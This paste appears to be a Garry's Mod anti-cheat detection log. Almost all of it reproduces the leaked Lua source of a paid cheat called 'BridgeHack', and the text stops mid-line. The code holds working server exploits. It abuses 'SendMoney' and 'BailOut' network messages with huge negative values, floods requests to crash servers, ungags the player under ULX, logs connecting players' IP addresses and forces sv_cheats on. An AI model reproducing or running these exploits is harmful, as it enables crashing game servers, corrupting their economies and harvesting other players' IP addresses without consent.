· 10 years ago · Mar 26, 2016, 01:06 AM
1Warning: It's a bad idea to show this detection list to cheaters, since it may give them enough information to make their cheats undetected.
2Detection list for STEAM_0:0:19100680 / https://steamcommunity.com/profiles/76561197998467088
3Clientside Lua Execution:
4 Cannot verify concommand.Add call stack entry: Foreign lua source: / Leaked by velkon\x0a/ decrypted by General Hex\x0a\x0alocal dversion=1.3\x0a\x0alocal dlversion =\"v1.3\"\x0a\x0alocal outdated = 0\x0a\x0alocal devbuild = 0\x0a\x0alocal pastecheck = 0 / 0 = Bueno 1 = No Bueno\x0a\x0alocal crash = 0\x0a\x0alocal ulx_spam=0\x0a\x0alocal ply = LocalPlayer()\x0a\x0a\x0a\x0a/ INSTALIZATION \x0a\x0a/ FUNCTIONS\x0a\x0a\x0a\x0asurface.CreateFont( \"PopupHFont\", {\x0a\x0a\x09font = \"Segoe UI Light\",\x0a\x0a\x09size = 50,\x0a\x0a\x09weight = 1000,\x0a\x0a} )\x0a\x0a \x0a\x0asurface.CreateFont(\"HeaderFont\", {\x0a\x0a\x09font = \"Segoe UI Semilight\",\x0a\x0a\x09size = 22,\x0a\x0a\x09weight = 300\x0a\x0a})\x0a\x0a\x0a\x0asurface.CreateFont(\"PopupFont\", {\x0a\x0a\x09font = \"Segoe UI Light\",\x0a\x0a\x09size = 21,\x0a\x0a\x09weight = 300\x0a\x0a})\x0a\x0a\x0a\x0asurface.CreateFont(\"HeadingFont\",{\x0a\x0a\x09font = \"ChatFont\",\x0a\x0a\x09size = 20,\x0a\x0a\x09weight = 500,\x0a\x0a\x09antialias = true,\x0a\x0a})\x0a\x0a\x0a\x0afunction SoundClick()\x0a\x0a\x09if GetConVarNumber(\"bh_playsound\") > 0 then\x0a\x0a\x09\x09surface.PlaySound(\"buttons/lightswitch2.wav\")\x0a\x0a\x09else\x0a\x0aend end\x0a\x0a\x0a\x0afunction consoleP(message)\x0a\x0a\x09queries = queries + 1\x0a\x0a\x09MsgC(Color(231, 76, 60), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,255), message, \"\\n\")\x0a\x0aend\x0a\x0a\x0a\x0afunction SoundPop()\x0a\x0a\x09--buttons/blip1.wav\x0a\x0a\x09--buttons/button14.wav\x0a\x0a\x09--buttons/lightswitch2.wav\x0a\x0a\x09if GetConVarNumber(\"bh_playsound\") > 0 then\x0a\x0a\x09\x09surface.PlaySound(\"buttons/button14.wav\")\x0a\x0a\x09else\x0a\x0aend end\x0a\x0a\x0a\x0alocal infinite = 1000000000000000000000000000000000000000000000000000000000000000000\x0a\x0a\x0a\x0afunction HitBitches()\x0a\x0a\x09net.Start(\"hitcomplete\")\x0a\x0a\x09\x09net.WriteDouble( GetConVarNumber(\"bh_hitmenuammount\") )\x0a\x0a\x09net.SendToServer()\x0a\x0aend\x0a\x0aconcommand.Add(\"bh_hithack\", HitBitches)\x0a\x0a\x0a\x0afunction clearcon()\x0a\x0a\x09for i=0, 100 do\x0a\x0a\x09print(\" \")\x0a\x0aend end\x0a\x0a\x0a\x0afunction cleardchat()\x0a\x0a for i=0, 100 do\x0a\x0a chat.AddText(\" \")\x0a\x0a end end\x0a\x0a \x0a\x0a--[[\x0a\x0a\x09Woo, Coloured chat messages!\x0a\x0a]]--\x0a\x0afunction chatP(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,0), message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0a\x0a\x0afunction chatPR(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,0,0), message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0a\x0a\x0afunction chatPG(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(120, 255, 0), \"[BridgeHack \" .. dlversion .. \"]: \", Color(0,255,0), message)\x0a\x0a\x09--status(message)\x0a\x0aend\x0a\x0aqueries=1;\x09\x0a\x0ahttp.Fetch(\"http:/pastebin.com/raw.php?i=jfuCra2J\",function(body, len, headers, code)\x0a\x0a\x09serverlist = body\x0a\x0aend,function( error )\x0a\x0a\x09chatP(\"Error accessing PasteBin!\")\x0a\x0aend)\x0a\x0a\x0a\x0ahttp.Fetch(\"http:/pastebin.com/raw.php?i=Ax9WQ5y7\",function(body, len, headers, code)\x0a\x0a\x09changelogs = body\x0a\x0aend,function( error )\x0a\x0a\x09chatP(\"Error accessing PasteBin!\")\x0a\x0aend)\x0a\x0a\x09\x0a\x0afunction printchange()\x0a\x0a\x09consoleP(\"\"..changelogs..\"\")\x0a\x0aend\x0a\x0aconcommand.Add(\"bh_logs\", printchange)\x0a\x0a\x0a\x0a--[[\x0a\x0a\x0a\x0a\x09\x09PASTEBIN\x0a\x0a\x09\x09\x0a\x0a\x09\x09CHECK\x0a\x0a\x0a\x0a\x0a\x0a]]--\x0a\x0alocal StringM8 = \"I like potatoes, potatoes are DELICIOUS! Potatoes are LIFE!\"\x0a\x0a\x0a\x0afunction CheckPastebin()\x0a\x0a\x09http.Fetch(\"http:/pastebin.com/raw.php?i=gy2HeVgB\",function(body, len, headers, code)\x0a\x0a\x09\x09bintext = body\x0a\x0a\x09\x09local stringbin = ( tostring( bintext ))\x0a\x0a\x09\x09if (StringM8 == stringbin) then\x0a\x0a\x09\x09\x09consoleP(\"Connection to PasteBin is good!\")\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09pastecheck = 1\x0a\x0a\x09\x09\x09chatP(\"Connection to PasteBin is broken!\")\x0a\x0a\x09\x09\x09chatP(\"BridgeHack needs PasteBin to properly work!\")\x0a\x0a\x09\x09end end) end\x0a\x0a--[[\x0a\x0a~~~~~~~~~~~~~~~ Version Check ~~~~~~~~~~~~~~~\x0a\x0a --]] \x0a\x0afunction VersionCheck()\x0a\x0a\x09http.Fetch(\"http:/pastebin.com/raw.php?i=xcTwfJY7\",function( HTML ) \x0a\x0a\x09local findpos = string.find( HTML, \"CVERSION =\", 0, false )\x09\x0a\x0a\x09if (findpos) then\x0a\x0a\x09\x09local version = tonumber( string.sub( HTML, findpos+10, findpos+13 ) )\x0a\x0a\x09\x09if (pastecheck == 1) then\x0a\x0a\x09\x09\x09chatP(\"Can't check for newer versions because PasteBin is unaccessable!\")\x0a\x0a\x09\x09elseif ( version > dversion ) then\x0a\x0a\x09\x09\x09outdated = 1\x0a\x0a\x09\x09\x09chatP(\"Your version is out of date!\" )\x0a\x0a\x09\x09elseif ( version == dversion ) then\x0a\x0a\x09\x09\x09chatP(\"Your version is up to date.\" )\x0a\x0a\x09\x09elseif (version < dversion) then\x0a\x0a\x09\x09\x09devbuild = 1\x0a\x0a\x09\x09else\x0a\x0a\x09\x09\x09chatP(\"Error checking versions!\")\x0a\x0a\x09\x09end end end) end\x0a\x0aVersionCheck()\x0a\x0a\x0a\x0a/*\x0a\x0a\x09About Menu\x0a\x0a\x09\x0a\x0a\x09Woo, learn about us.\x0a\x0a\x0a\x0a*/\x0a\x0afunction AboutMenu()\x0a\x0a\x09local frame = vgui.Create(\"DFrame\")\x0a\x0a\x09\x09frame:SetSize( ScrW(), ScrH() )\x0a\x0a\x09\x09frame:SetPos( 0,0 )\x0a\x0a\x09\x09frame:SetVisible( true )\x0a\x0a\x09\x09frame:SetDraggable( false )\x0a\x0a\x09\x09frame:MakePopup()\x0a\x0a\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09\x09frame.Paint = function(s,w,h)\x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(0,0,0,200) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(0,230,255,150) )\x0a\x0a\x09\x09\x09surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )\x0a\x0a\x09\x09\x09surface.SetTextColor(255,255,255)\x0a\x0a\x09\x09\x09surface.SetFont(\"PopupHFont\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/5 , ScrH()/10 )\x0a\x0a\x09\x09\x09surface.DrawText(\"About BridgeHack\")\x0a\x0a\x09\x09\x09surface.SetFont(\"PopupFont\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.5)\x0a\x0a\x09\x09\x09surface.DrawText(\"BridgeHack, made by the Hax R' Us team.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.4 )\x0a\x0a\x09\x09\x09surface.DrawText(\"If we haven't said it enough, we'll say it again...\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.3 )\x0a\x0a\x09\x09\x09surface.DrawText(\"The Hax R' Us team has worked VERY hard on this menu.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.2 )\x0a\x0a\x09\x09\x09surface.DrawText(\"We LOVE feedback, so please, take the time and send an email to team.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.1 )\x0a\x0a\x09\x09\x09surface.DrawText(\"haxrus1337@gmail.com\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.0 )\x0a\x0a\x09\x09\x09surface.DrawText(\"Tell us what you think of the menu.\")\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09button:SetSize(110,32.5)\x0a\x0a\x09\x09button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)\x0a\x0a\x09\x09button:SetText(\"\")\x0a\x0a\x09\x09button.Paint = function(s,w,h) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(13,136,69) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09\x09surface.SetTextPos(30.5,5.5) \x0a\x0a\x09\x09\x09surface.DrawText( \"Alright!\" ) \x0a\x0a\x09\x09end\x0a\x0a\x09button.DoClick = function(s,w,h) \x0a\x0a\x09\x09frame:Close()\x0a\x0a\x09\x09SoundClick()\x0a\x0a\x09end end\x0a\x0a/*\x0a\x0a\x0a\x0a\x09\x09\x09GUYS ITS FINALLY HERE!!!\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09\x09BridgeHack WELCOME SCREEN!!!!!\x0a\x0a\x09\x09\x09\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x09button = vgui.Create(\"DButton\", Popup)\x0a\x0a\x09button:SetSize(110,32.5)\x0a\x0a\x09button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)\x0a\x0a\x09button:SetText(\"\")\x0a\x0a\x09button.Paint = function(s,w,h) \x0a\x0a\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09surface.SetDrawColor( Color(13,136,69) ) \x0a\x0a\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09surface.SetTextPos(30.5,5.5) \x0a\x0a\x09\x09surface.DrawText( \"Alright!\" ) \x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09button.DoClick = function(s,w,h) \x0a\x0a\x09\x09\x09Popup:Close()\x0a\x0a\x09\x09\x09SoundClick()\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09logbutton = vgui.Create(\"DButton\", Popup)\x0a\x0a\x09logbutton:SetSize(110,32.5)\x0a\x0a\x09logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)\x0a\x0a\x09logbutton:SetText(\"\")\x0a\x0a\x09logbutton.Paint = function(s,w,h) \x0a\x0a\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09surface.SetDrawColor( Color(13,170,181) ) \x0a\x0a\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09surface.SetTextPos(10,5.5) \x0a\x0a\x09\x09surface.DrawText( \"Change Logs\" ) \x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09logbutton.DoClick = function(s,w,h) \x0a\x0a\x09\x09\x09Popup:Close()\x0a\x0a\x09\x09\x09ChangeLogMenu()\x0a\x0a\x09\x09\x09SoundClick()\x0a\x0a\x09end end\x0a\x0aconcommand.Add(\"bh_welcome\", WelcomeScreen, SVersionCheck)\x0a\x0a\x09\x0a\x0a--\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09Version Menu It Looks PURDY\x0a\x0a\x0a\x0afunction ChangeLogMenu()\x0a\x0a\x09local Panel = vgui.Create( \"DFrame\" )\x0a\x0a\x09Panel:SetSize( 800, 600 )\x0a\x0a\x09Panel:SetPos( ScrW(),ScrH() )\x0a\x0a\x09Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8\x0a\x0a\x09Panel:SetTitle( \"\" )\x0a\x0a\x09Panel:MakePopup()\x0a\x0a\x09Panel:ShowCloseButton( false )\x0a\x0a\x09function Panel:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )\x0a\x0a\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )\x0a\x0a\x09\x09draw.SimpleText( \"BridgeHack ChangeLogs\", \"Default\", 6, 15, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local Button = vgui.Create(\"DButton\", Panel)\x0a\x0a\x09\x09Button:SetPos( 740, 10 )\x0a\x0a\x09\x09Button:SetSize( 50, 25 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09Panel:Close()\x0a\x0a\x09\x09end\x09\x0a\x0a\x09\x0a\x0a\x09local Label = vgui.Create( \"DLabel\", Panel )\x0a\x0a\x09Label:SetColor( Color( 255, 255, 255, 255 ) )\x0a\x0a\x09Label:SetFont( \"DermaLarge\" )\x0a\x0a\x09\x0a\x0a\x09if outdated == 1 then\x0a\x0a\x09Label:SetText( \"Your version \" ..dlversion..\" is outdated!\" )\x0a\x0a\x09Label:SetTextColor( Color( 255,0,0 ) )\x0a\x0a\x09elseif outdated == 0 then\x0a\x0a\x09Label:SetText( \"Your version \"..dlversion..\" is up to date!\" )\x0a\x0a\x09Label:SetTextColor( Color( 0,255,0 ) )\x0a\x0a\x09else\x0a\x0a\x09Label:SetText(\"Error receving version information!\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09Label:SizeToContents()\x0a\x0a\x09Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )\x0a\x0a\x09\x0a\x0a\x09local HTML = vgui.Create( \"HTML\", Panel )\x0a\x0a\x09HTML:OpenURL( \"http:/pastebin.com/raw.php?i=Ax9WQ5y7\" )\x0a\x0a\x09HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )\x0a\x0a\x09HTML:SetPos( 25, 100 )\x0a\x0a\x09HTML.Paint = function()\x0a\x0a\x09\x09surface.SetDrawColor( Color( 160, 160, 160) )\x0a\x0a\x09\x09surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )\x0a\x0a\x09end end\x0a\x0a/*\x09\x0a\x0a\x0a\x0a\x09\x0a\x0a\x09\x09\x09\x09END MENU\x0a\x0a\x09\x0a\x0a\x0a\x0a*/\x09\x0a\x0alocal randomvar = math.Rand(0,9999999)\x0a\x0alocal BridgeHack = {}\x0a\x0aBridgeHack.RandomVar = randomvar\x0a\x0alocal sweg = LocalPlayer():GetEyeTrace().Entity\x0a\x0alocal ply = LocalPlayer()\x0a\x0aply:ConCommand(\"bh_welcome\")\x0a\x0atimer.Destroy(\"changecolor\")\x0a\x0a\x0a\x0aqueries=1;\x0a\x0afunction status(statu)-- Made for debugging things.\x0a\x0a\x09queries = queries + 1\x0a\x0a\x09if GetConVarNumber(\"bh_showhud\") == 1 then\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawcurrent\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 255,255,255 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 25 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[\" .. queries .. \" Total Requests] STATUS: \" .. statu )\x0a\x0a\x09\x09end) end\x0a\x0a\x09\x0a\x0a\x09if GetConVarNumber(\"bh_chat_status\") == 1 then\x0a\x0a\x09\x09chat.AddText(Color(231, 76, 60), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,255), statu)\x0a\x0a\x09end end\x0a\x0a\x0a\x0afunction Debug(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(155, 89, 182), \"[ BridgeHack]: \", Color(255,255,255), message)\x0a\x0aend\x0a\x0a\x0a\x0alocal function CreateCvar(cvar, value)\x0a\x0a\x09CreateClientConVar(cvar, value)\x0a\x0a\x09consoleP(\"CVAR: \" .. cvar .. \" set to \" .. value)\x0a\x0aend\x0a\x0a\x0a\x0alocal function ResetCvar(cvar, value)\x0a\x0a\x09ply:ConCommand(\"\" .. cvar .. \" \" .. value)\x0a\x0a\x09Debug(\"CVAR: \" .. cvar .. \" reset to \" .. value)\x0a\x0aend\x0a\x0a\x0a\x0aCheckPastebin()\x0a\x0aCreateCvar(\"bh_notify\", 1)\x0a\x0aCreateCvar(\"bh_ulxgag\", 1, true, false)\x0a\x0aCreateCvar(\"bh_playsound\",1)\x0a\x0aCreateCvar(\"bh_hitmenuammount\",0)\x0a\x0aCreateCvar(\"bh_menu_effects\", 1)\x0a\x0aCreateCvar(\"bh_firstload_correct\", 1)\x0a\x0aCreateCvar(\"bh_chat_status\", 0)\x0a\x0aCreateCvar(\"bh_cheats_enabled_on_start\", 0)\x0a\x0aCreateCvar(\"bh_cheats_svlua_enabled_on_start\", 0)\x0a\x0aCreateCvar(\"bh_showhud\", 0)\x0a\x0aCreateCvar(\"bh_esp\",0)\x0a\x0aCreateCvar(\"bh_esp_box\",1)\x0a\x0aCreateCvar(\"bh_debug\",0)\x0a\x0aCreateCvar(\"bh_esp_hp\",1)\x0a\x0aCreateCvar(\"bh_esp_rank\",1)\x0a\x0aCreateCvar(\"bh_renderdistance_enable\",0)\x0a\x0aCreateCvar(\"bh_esp_rdistance\",2000)\x0a\x0aCreateCvar(\"bh_esp_infocolor_r\",255)\x0a\x0aCreateCvar(\"bh_esp_infocolor_g\",0)\x0a\x0aCreateCvar(\"bh_esp_infocolor_b\",255)\x0a\x0aCreateCvar(\"bh_ratm_money2give\",100000)\x0a\x0a\x0a\x0a\x0a\x0aif GetConVarNumber(\"bh_firstload_correct\") == 1 then\x0a\x0a\x09Derma_Message( \"Welcome \" .. ply:Nick() .. \", We see its your first time launching BridgeHack on your SteamID (\" .. ply:SteamID() .. \")\\nHow do I open the menu?\\nSimply do this bind in console bind KEY +bh_menu\\nThanks for purchasing BridgeHack, Enjoy\\nBridgeHack Hack (HaxRUs)\", \"Welcome to BridgeHack \" .. ply:Nick() .. \"!\", \"Click me to continue\" )\x0a\x0a\x09ply:ConCommand(\"bh_firstload_correct 0\")\x0a\x0a\x09chatP(\"Welcome to the world of BridgeHack.\")\x0a\x0a\x09\x0a\x0aelse\x0a\x0aend\x0a\x0a\x0a\x0aif GetConVarNumber(\"bh_cheats_enabled_on_start\") == 1 then\x0a\x0a\x09ply:ConCommand(\"incrementvar sv_cheats 0 1 1\")\x0a\x0a\x09status(\"Enabled sv_cheats to 1\")\x0a\x0aelse\x0a\x0aend\x0a\x0aif GetConVarNumber(\"bh_cheats_svlua_enabled_on_start\") == 1 then\x0a\x0a\x09\x0a\x0a\x09ply:ConCommand(\"incrementvar sv_allowcslua 0 1 1\")\x0a\x0a\x09status(\"Enabled sv_allowcslua to 1\")\x0a\x0aelse\x0a\x0aend\x0a\x0a\x0a\x0a/ FIXES \x0a\x0alocal oChatAddText = chat.AddText\x0a\x0a\x0a\x0afunction chat.AddText( ... )\x0a\x0a\x09local cArgs = { ... };\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x0a\x0a\x09for k, v in pairs( cArgs ) do\x0a\x0a\x09\x09if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine\x0a\x0a\x09\x09\x09print(\"BLOCKED STRING CRASH len[\" .. string.len(v) .. \"]\"); \x0a\x0a\x09\x09\x09return false;\x0a\x0a\x09\x09else\x0a\x0a\x09\x09end\x0a\x0a\x09end\x0a\x0a\x09return oChatAddText( ... );\x0a\x0aend\x0a\x0a\x0a\x0a---------------------------------------/ Global timers /---------------------------------------\x0a\x0aif GetConVarNumber(\"bh_showhud\") == 1 then\x0a\x0a\x09hook.Add( \"HUDPaint\", \"drawcursor\", function()\x0a\x0a\x09\x09local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255) \x0a\x0a\x09\x09surface.SetDrawColor(c)\x0a\x0a\x09\x09surface.DrawLine(x - 10, y, x - 5, y)\x0a\x0a\x09\x09surface.DrawLine(x, y + 5, x, y + 10)\x0a\x0a\x09\x09surface.DrawLine(x + 10, y, x + 5, y)\x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09hook.Add( \"HUDPaint\", \"drawabout\", function()\x0a\x0a\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09surface.SetTextColor( 46, 204, 113 )\x0a\x0a\x09\x09surface.SetTextPos( 25, 15 ) \x0a\x0a\x09\x09surface.DrawText( \"BridgeHack \" .. dlversion )\x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09if GetConVarNumber(\"bh_debug\") > 0 then \x0a\x0a\x09\x09if system.IsWindows( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev1\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: Windows\" )\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09if system.IsLinux( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev2\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: Linux\" )\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09if system.IsOSX( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev3\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: OSX\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev4\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Server Operating System: Windows\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev5\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 57 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Server Location: \" .. system.GetCountry( ) .. \"\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev6\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 67 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Connection Time: \" .. system.AppTime( ) .. \" Seconds\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09end\x0a\x0aend\x0a\x0a\x09\x0a\x0astatus(\"Starting\")\x0a\x0astatus(\"BridgeHack Loaded\")\x0a\x0a\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x0a\x0a\x09local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0\x0a\x0a\x09\x09consoleP(v:GetUserGroup()..\": \" .. v:Nick() .. \" - \" .. v:SteamID() .. \" - $\" .. playermoney)\x0a\x0a\x09end\x0a\x0aconsoleP(\"BridgeHack, by HaxRUs\")\x0a\x0aconsoleP(dlversion)\x0a\x0a\x0a\x0a/ FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------\x0a\x0a/ CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmanxcrash\", function ( ply )\x0a\x0afor i=0,300 do\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"SendMoney\" )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0anet.SendToServer()\x0a\x0a\x0a\x0aend end end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmanxinfa\", function ( ply )\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"SendMoney\" )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0anet.SendToServer()\x0a\x0a\x0a\x0aend end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmancrash\",function()\x0a\x0a\x09for i=0,5000 do\x0a\x0a\x09\x09ply:ConCommand('addhit \"'..ply:Nick()..'\" 500')\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ulxgag\",function()\x0a\x0a\x09\x09if(ulx and ulx.gagUser) then\x0a\x0a\x09\x09\x09if GetConVarNumber(\"bh_ulxgag\") == 1 then\x0a\x0a\x09\x09\x09\x09ulx.gagUser(LocalPlayer(),false)\x0a\x0a\x09\x09\x09else\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09else\x0a\x0a\x09\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_antiaim\",function()\x0a\x0a\x09hook.Add(\"CreateMove\",function(cmd, u)\x0a\x0a\x09if (LocalPlayer():KeyDown(IN_ATTACK)) then return end\x0a\x0a\x09local aa = cmd:GetViewAngles()\x0a\x0a\x09cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))\x0a\x0aend)\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0a\x0a\x0aconcommand.Add(\"bh_infinite_all\",function()\x0a\x0a clearcon()\x0a\x0a cleardchat()\x0a\x0a chatP(\"Giving money, He he\")\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"BailOut\" )\x0a\x0a\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09net.WriteFloat( -infinite )\x0a\x0a\x09\x09 net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ipsteal\",function()\x0a\x0ahook.Add(\"PlayerConnect\", \"IPStealer\", function(name, ip)\x0a\x0a\x09file.Append(\"ips.txt\", name .. \" - \" .. ip .. \"\\n\")\x0a\x0aend)\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0alocal nlr = 